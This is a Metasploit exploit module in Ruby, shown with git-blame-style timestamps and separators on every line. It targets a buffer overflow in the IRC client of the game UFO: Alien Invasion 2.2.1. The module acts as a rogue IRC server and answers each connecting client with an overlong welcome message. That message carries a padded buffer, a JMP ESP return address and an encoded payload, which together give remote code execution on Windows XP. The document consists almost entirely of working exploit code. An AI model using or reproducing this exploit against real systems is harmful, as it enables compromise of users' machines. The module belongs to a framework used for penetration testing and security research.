2010-07-01 19:54:48 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-07-01 19:54:48 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = AverageRanking
|
2010-07-01 19:54:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
2010-07-01 19:54:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in the IRC client component of
|
|
|
|
UFO: Alien Invasion 2.2.1.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Jason Geffner', # Original Windows PoC Author
|
|
|
|
'dookie' # MSF Module Author
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '65689'],
|
|
|
|
[ 'EDB', '14013' ]
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 400,
|
|
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
|
|
'MaxNops' => 0,
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows XP Universal', { 'Ret' => 0x0AE59A43 } ], # JMP ESP in SDL_ttf.dll
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Oct 28 2009'))
|
2010-07-01 19:54:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
|
|
|
|
], self.class)
|
2010-07-01 19:54:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-07-01 19:54:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def on_client_connect(client)
|
2010-07-01 19:54:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
2010-07-01 19:54:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Got client connection...")
|
2010-07-01 19:54:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
buffer = "001 :"
|
|
|
|
buffer << rand_text_alpha_upper(552)
|
|
|
|
buffer << [ target.ret ].pack('V')
|
|
|
|
buffer << make_nops(8)
|
|
|
|
buffer << payload.encoded
|
|
|
|
buffer << "\x0d\x0a"
|
2010-07-01 19:54:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
|
2010-07-01 19:54:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
client.put(buffer)
|
2010-07-01 19:54:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-07-01 19:54:48 +00:00
|
|
|
|
|
|
|
end
|